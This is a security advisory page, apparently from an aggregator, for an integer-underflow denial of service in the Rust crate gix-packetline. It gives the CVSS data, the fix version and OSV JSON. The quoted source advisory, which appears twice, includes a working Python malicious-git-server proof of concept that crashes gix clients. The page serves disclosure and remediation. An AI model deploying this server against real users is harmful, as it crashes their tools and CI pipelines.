GHSA-2vh6-hw4j-32ww: gix-packetline Denial of Service Vulnerability

MODERATE
CVSS 6.5
CWE-191
Published
Advisory Summary

GHSA-2vh6-hw4j-32ww is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-191: Integer Underflow (Wrap or Wraparound)) affecting gix-packetline libraries in the crates.io ecosystem. The issue involves reachable panic on empty side-band packet (pre-auth network dos). Remediation is available by upgrading affected packages to version 0.21.5.

GHSA-2vh6-hw4j-32ww at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-2vh6-hw4j-32ww
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-191: Integer Underflow (Wrap or Wraparound)
Affected Product gix-packetline
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-2vh6-hw4j-32ww

To remediate this vulnerability, upgrade all affected gix-packetline dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gix-packetline fixed: 0.21.5
Upgrade gix-packetline to 0.21.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gix-packetline

How to Check if You Are Affected

To determine whether your application is affected by GHSA-2vh6-hw4j-32ww, inspect your project dependencies for gix-packetline:

inspect dependencies for gix-packetline

Analyze the terminal output to locate any version of gix-packetline in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-191: Integer Underflow (Wrap or Wraparound), where the product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. In gix-packetline, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service. ### Details In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch. (Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.) ### PoC Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`. 1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload: ```python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf): c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload try: c.recv(4096) except Exception: pass return s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind((HOST,PORT)); s.listen(1); print("listening",PORT) conn,_=s.accept(); conn.settimeout(5.0) try: handle(conn) finally: conn.close(); s.close() ``` 2. Point the real client at it: ``` RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out ``` Observed: ``` thread 'main' panicked at gix-packetline/src/lib.rs:199:20: index out of bounds: the len is 0 but the index is 18446744073709551615 exit code: 101 ``` ### Impact A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch. ### Suggested fix Guard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b"\n").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\n')` before slicing.

GHSA-2vh6-hw4j-32ww Affected gix-packetline Versions

1 component(s)
Fixed Versions:
0.21.5
Product / Package Ecosystem Affected Versions Fixed Version
gix-packetline
crates.io
< 0.21.5
0.21.5

References

Frequently Asked Questions

What is GHSA-2vh6-hw4j-32ww?
GHSA-2vh6-hw4j-32ww is a security vulnerability in gix-packetline involving reachable panic on empty side-band packet (pre-auth network DoS) under CWE-191: Integer Underflow (Wrap or Wraparound).
Which gix-packetline versions are affected?
Affected versions include releases prior to 0.21.5 across affected packages: gix-packetline.
What version fixes GHSA-2vh6-hw4j-32ww?
Upgrading to 0.21.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gix-packetline affected?
Yes, gix-packetline is affected in releases prior to 0.21.5. Upgrade your dependency to 0.21.5 or later.
What is the CVSS score of GHSA-2vh6-hw4j-32ww?
GHSA-2vh6-hw4j-32ww has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-2vh6-hw4j-32ww?
GHSA-2vh6-hw4j-32ww is classified under CWE-191: Integer Underflow (Wrap or Wraparound) (The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.).
How can I check crates.io dependencies for GHSA-2vh6-hw4j-32ww?
Run the dependency tree command: 'inspect dependencies for gix-packetline'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2vh6-hw4j-32ww",
  "modified" : "2026-08-28T16:09:59Z",
  "published" : "2026-08-28T16:09:59Z",
  "aliases" : [ ],
  "summary" : "gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)",
  "details" : "### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n    c.recv(65536)\n    c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n              +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n    buf=b\"\"; sent=False\n    while True:\n        d=c.recv(65536)\n        if not d: return\n        buf+=d\n        if b\"command=ls-refs\" in buf and not sent:\n            c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n                      +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n        if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n            c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\")   # band id 2, EMPTY payload\n            try: c.recv(4096)\n            except Exception: pass\n            return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread 'main' panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\\n')` before slicing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "gix-packetline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.21.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/pull/2638"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GitoxideLabs/gitoxide"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-191" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:09:59Z",
    "nvd_published_at" : null
  }
}